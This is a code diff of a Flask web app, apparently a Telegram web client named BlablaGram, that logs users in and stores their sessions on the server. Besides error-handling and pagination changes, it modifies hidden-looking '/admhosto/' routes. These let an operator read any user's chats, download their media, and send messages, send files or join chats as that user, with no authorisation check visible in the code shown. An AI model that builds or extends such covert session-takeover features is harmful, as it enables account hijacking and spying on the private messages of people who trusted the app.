     session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
@@ -930,14 +1074,25 @@ def api_login():
                     session['user_id'] = user_db_id
                     result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
                 else:
-                    sent_code = await client.send_code_request(session['current_login_phone'])
-                    session['phone_code_hash'] = sent_code.phone_code_hash
-                    result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}
+                    try:
+                        sent_code = await client.send_code_request(session['current_login_phone'])
+                        session['phone_code_hash'] = sent_code.phone_code_hash
+                        result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}
+                    except PhoneNumberInvalidError:
+                        result = {'success': False, 'message': 'The phone number is invalid. Please check the format (e.g., +1234567890).'}
+                    except FloodWaitError as e:
+                        result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
+                    except RpcCallError as e:
+                        result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}
+                    except Exception as e:
+                        result = {'success': False, 'message': f'An unexpected error occurred while sending code: {e}'}
             elif step == 'code':
                 code = data.get('code')
                 phone_code_hash = session.get('phone_code_hash')
                 if not phone_code_hash:
-                    raise ValueError('Session expired, please try again.')
+                    result = {'success': False, 'message': 'Session expired or code hash missing, please try again from start.'}
+                    await client.disconnect()
+                    return result
                 
                 try:
                     me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)
@@ -951,10 +1106,16 @@ def api_login():
                     result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
                 except SessionPasswordNeededError:
                     result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}
+                except PhoneCodeInvalidError:
+                    result = {'success': False, 'message': 'The verification code is incorrect. Please try again.'}
+                except PhoneCodeExpiredError:
+                    result = {'success': False, 'message': 'The verification code has expired. Please request a new code.'}
                 except FloodWaitError as e:
                     result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
+                except RpcCallError as e:
+                    result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}
                 except Exception as e:
-                    result = {'success': False, 'message': f'Invalid code or other error: {e}'}
+                    result = {'success': False, 'message': f'An unexpected error occurred during code verification: {e}'}
 
             elif step == 'password':
                 password = data.get('password')
@@ -970,15 +1131,17 @@ def api_login():
                     result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
                 except FloodWaitError as e:
                     result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
+                except RpcCallError as e:
+                    result = {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}). Please try again.'}
                 except Exception as e:
-                    result = {'success': False, 'message': f'Invalid password or other error: {e}'}
+                    result = {'success': False, 'message': f'An unexpected error occurred during password verification: {e}'}
 
             else:
                 result = {'success': False, 'message': 'Invalid step.'}
         except FloodWaitError as e:
             result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
         except Exception as e:
-            result = {'success': False, 'message': f'An unexpected error occurred during login: {e}'}
+            result = {'success': False, 'message': f'An unexpected error occurred during connection: {e}'}
         finally:
             if client.is_connected():
                 await client.disconnect()
@@ -1010,7 +1173,7 @@ def api_logout():
 def blabla_gram_app():
     if 'user_id' not in session:
         return redirect(url_for('index'))
-    return render_template_string(BLABLAGRAM_APP_TEMPLATE, MESSAGES_PER_PAGE=MESSAGES_PER_PAGE)
+    return render_template_string(BLABLAGRAM_APP_TEMPLATE)
 
 @app.route('/api/user_chats')
 def api_user_chats():
@@ -1034,7 +1197,7 @@ def api_user_chats():
                     full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
                     title = full_name if full_name else "Unnamed User"
                     if dialog.entity.username:
-                        title += f" (@{dialog.entity.username})"
+                        title = f"{title} (@{dialog.entity.username})" if title else f"@{dialog.entity.username}"
                 elif isinstance(dialog.entity, Channel):
                     chat_type = 'Channel'
                     if hasattr(dialog.entity, 'participants_count'):
@@ -1047,7 +1210,7 @@ def api_user_chats():
                     title = title if title else "Unknown Chat"
                     chat_type = "Unknown"
 
-                initial = title[0].upper() if title else '?'
+                initial = (title[0].upper() if title else dialog.name[0].upper()) if dialog.name else '?'
 
                 chats_info.append({
                     'id': dialog.id,
@@ -1074,37 +1237,38 @@ def api_get_chat_messages(peer_id):
     user_id = session.get('user_id')
     if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
 
-    limit = int(request.args.get('limit', MESSAGES_PER_PAGE))
-    max_id = request.args.get('max_id')
-    if max_id:
-        max_id = int(max_id)
+    offset_id = request.args.get('offset_id', 0, type=int)
+    limit = 50
 
     async def _get_messages_async():
         client, error = await get_user_client(user_id)
-        if error: return None, error
+        if error: return None, error, None, False
 
         messages = []
-        has_more = True
+        next_offset_id = 0
+        has_more_messages = False
         try:
             entity = await client.get_entity(peer_id)
-            fetched_count = 0
-            async for message in client.iter_messages(entity, limit=limit + 1, max_id=max_id):
-                if fetched_count >= limit:
-                    has_more = True
+            async for message in client.iter_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=False):
+                if len(messages) >= limit: # Fetch one extra to check if there are more
+                    has_more_messages = True
                     break
                 
                 msg_data = {
-                    'id': message.id,
+                    'message_id': message.id, # Keep message ID for next offset
                     'text': message.text,
                     'date': message.date.strftime("%b %d, %H:%M"),
                     'is_sent': message.out,
-                    'sender_name': 'Unknown'
+                    'sender_name': 'Unknown',
+                    'type': 'Unknown'
                 }
                 if message.sender:
                     if isinstance(message.sender, User):
                         msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
-                    elif hasattr(message.sender, 'title'):
+                        msg_data['type'] = 'User'
+                    elif hasattr(message.sender, 'title'): # Chat/Channel
                         msg_data['sender_name'] = message.sender.title
+                        msg_data['type'] = 'Group/Channel'
                     else:
                         msg_data['sender_name'] = str(message.sender.id)
 
@@ -1116,44 +1280,42 @@ def api_get_chat_messages(peer_id):
                                 if hasattr(attr, 'file_name'):
                                     file_name = attr.file_name
                                     break
-                        elif hasattr(message.media, 'photo'):
-                             file_name = f"photo_{message.id}.jpg"
-                        
-                        full_download_path = Path(DOWNLOAD_DIR) / file_name
-                        if not full_download_path.exists(): # Only download if not exists
-                            file_info = await client.download_media(message, file=full_download_path)
-                            if file_info:
-                                file_path = Path(file_info)
-                                msg_data['file_name'] = file_path.name
-                                file_size = os.path.getsize(file_path)
-                                msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
-                            else:
-                                msg_data['file_name'] = "File not available"
-                        else:
-                            msg_data['file_name'] = full_download_path.name
-                            file_size = os.path.getsize(full_download_path)
+                        elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
+                             file_name = f"photo_{message.media.photo.id}.jpg"
+
+                        download_path = Path(DOWNLOAD_DIR) / file_name
+                        file_info = await client.download_media(message, file=download_path)
+                        if file_info:
+                            file_path = Path(file_info)
+                            msg_data['file_name'] = file_path.name
+                            file_size = os.path.getsize(file_path)
                             msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
-
                     except Exception as media_e:
                         msg_data['file_name'] = f"Download failed: {media_e}"
                 messages.append(msg_data)
-                fetched_count += 1
             
-            if fetched_count <= limit: # If we fetched <= limit, it means there are no more messages (or exactly limit, but no +1)
-                has_more = False
+            if messages:
+                next_offset_id = messages[-1]['message_id']
+                if has_more_messages:
+                    messages = messages[:-1] # Remove the extra message if we loaded more than limit
+                else:
+                    next_offset_id = 0 # No more messages
+            else:
+                next_offset_id = 0
+                has_more_messages = False
 
         except Exception as e:
-            return None, str(e), False
+            return None, str(e), None, False
         finally:
             if client and client.is_connected():
                 await client.disconnect()
-        return messages, None, has_more
+        return messages, None, next_offset_id, has_more_messages
 
-    messages, error, has_more = asyncio.run(_get_messages_async())
+    messages, error, next_offset_id, has_more_messages = asyncio.run(_get_messages_async())
     if error:
         return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
     
-    return jsonify({'success': True, 'messages': messages, 'has_more': has_more})
+    return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id, 'has_more_messages': has_more_messages})
 
 @app.route('/api/send_message', methods=['POST'])
 def api_send_message():
@@ -1173,6 +1335,8 @@ def api_send_message():
             return {'success': True, 'message': 'Message sent.'}
         except FloodWaitError as e:
             return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
+        except RpcCallError as e:
+            return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
         except Exception as e:
             return {'success': False, 'message': str(e)}
         finally:
@@ -1204,6 +1368,8 @@ def api_send_file():
             return {'success': True, 'message': 'File sent.'}
         except FloodWaitError as e:
             return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
+        except RpcCallError as e:
+            return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
         except Exception as e:
             return {'success': False, 'message': str(e)}
         finally:
@@ -1233,6 +1399,8 @@ def api_join_chat():
             return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
         except (UserNotParticipantError, ValueError):
              return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
+        except RpcCallError as e:
+            return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
         except Exception as e:
             return {'success': False, 'message': f'Error joining chat: {e}'}
         finally:
@@ -1269,6 +1437,8 @@ def admhosto_manage_user_account(user_id):
                 elif isinstance(dialog.entity, User): chat_type = 'User'
                 
                 title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")
+                if isinstance(dialog.entity, User) and dialog.entity.username:
+                    title = f"{title} (@{dialog.entity.username})" if title else f"@{dialog.entity.username}"
                 
                 chats_info.append({
                     'id': dialog.id, 
@@ -1284,40 +1454,41 @@ def admhosto_manage_user_account(user_id):
 
     chats, error = asyncio.run(_get_chats_async())
     if error: return f"Failed to load chats: {error}", 500
-    return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']), MESSAGES_PER_PAGE=MESSAGES_PER_PAGE)
+    return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']))
 
 @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
 def admhosto_get_chat_messages(user_id, peer_id):
-    limit = int(request.args.get('limit', MESSAGES_PER_PAGE))
-    max_id = request.args.get('max_id')
-    if max_id:
-        max_id = int(max_id)
+    offset_id = request.args.get('offset_id', 0, type=int)
+    limit = 50
 
     async def _get_messages_async():
         client, error = await get_user_client(user_id)
-        if error: return None, error, False
+        if error: return None, error, None, False
         messages = []
-        has_more = True
+        next_offset_id = 0
+        has_more_messages = False
         try:
             entity = await client.get_entity(peer_id)
-            fetched_count = 0
-            async for message in client.iter_messages(entity, limit=limit + 1, max_id=max_id):
-                if fetched_count >= limit:
-                    has_more = True
+            async for message in client.iter_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=False):
+                if len(messages) >= limit:
+                    has_more_messages = True
                     break
 
                 msg_data = {
-                    'id': message.id,
+                    'message_id': message.id,
                     'text': message.text, 
                     'date': message.date.strftime("%b %d, %H:%M"), 
                     'is_sent': message.out, 
-                    'sender_name': 'Unknown'
+                    'sender_name': 'Unknown',
+                    'type': 'Unknown'
                 }
                 if message.sender:
                     if isinstance(message.sender, User):
                         msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
+                        msg_data['type'] = 'User'
                     elif hasattr(message.sender, 'title'):
                         msg_data['sender_name'] = message.sender.title
+                        msg_data['type'] = 'Group/Channel'
                     else:
                         msg_data['sender_name'] = str(message.sender.id)
 
@@ -1329,40 +1500,39 @@ def admhosto_get_chat_messages(user_id, peer_id):
                                 if hasattr(attr, 'file_name'):
                                     file_name = attr.file_name
                                     break
-                        elif hasattr(message.media, 'photo'):
-                             file_name = f"photo_{message.id}.jpg"
+                        elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
+                             file_name = f"photo_{message.media.photo.id}.jpg"
                         
-                        full_download_path = Path(DOWNLOAD_DIR) / file_name
-                        if not full_download_path.exists():
-                            file_info = await client.download_media(message, file=full_download_path)
-                            if file_info:
-                                file_path = Path(file_info)
-                                msg_data['file_name'] = file_path.name
-                                file_size = os.path.getsize(file_path)
-                                msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
-                            else:
-                                msg_data['file_name'] = "File not available"
-                        else:
-                            msg_data['file_name'] = full_download_path.name
-                            file_size = os.path.getsize(full_download_path)
+                        download_path = Path(DOWNLOAD_DIR) / file_name
+                        file_info = await client.download_media(message, file=download_path)
+                        if file_info:
+                            file_path = Path(file_info)
+                            msg_data['file_name'] = file_path.name
+                            file_size = os.path.getsize(file_path)
                             msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
                     except Exception as media_e:
                         msg_data['file_name'] = f"Download failed: {media_e}"
                 messages.append(msg_data)
-                fetched_count += 1
             
-            if fetched_count <= limit:
-                has_more = False
+            if messages:
+                next_offset_id = messages[-1]['message_id']
+                if has_more_messages:
+                    messages = messages[:-1]
+                else:
+                    next_offset_id = 0
+            else:
+                next_offset_id = 0
+                has_more_messages = False
 
         except Exception as e:
-            return None, str(e), False
+            return None, str(e), None, False
         finally:
             if client and client.is_connected(): await client.disconnect()
-        return messages, None, has_more
+        return messages, None, next_offset_id, has_more_messages
 
-    messages, error, has_more = asyncio.run(_get_messages_async())
+    messages, error, next_offset_id, has_more_messages = asyncio.run(_get_messages_async())
     if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
-    return jsonify({'success': True, 'messages': messages, 'has_more': has_more})
+    return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id, 'has_more_messages': has_more_messages})
 
 @app.route('/admhosto/send_message/<int:user_id>', methods=['POST'])
 def admhosto_send_message(user_id):
@@ -1378,6 +1548,8 @@ def admhosto_send_message(user_id):
             return {'success': True, 'message': 'Message sent.'}
         except FloodWaitError as e:
             return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
+        except RpcCallError as e:
+            return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
         except Exception as e:
             return {'success': False, 'message': str(e)}
         finally:
@@ -1405,6 +1577,8 @@ def admhosto_send_file(user_id):
             return {'success': True, 'message': 'File sent.'}
         except FloodWaitError as e:
             return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
+        except RpcCallError as e:
+            return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
         except Exception as e:
             return {'success': False, 'message': str(e)}
         finally:
@@ -1428,6 +1602,8 @@ def admhosto_join_chat(user_id):
             return {'success': True, 'message': 'Successfully joined.'}
         except FloodWaitError as e:
             return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
+        except RpcCallError as e:
+            return {'success': False, 'message': f'Telegram API error: {e.message} (Code: {e.code}).'}
         except Exception as e:
             return {'success': False, 'message': f'Error joining: {e}'}
         finally: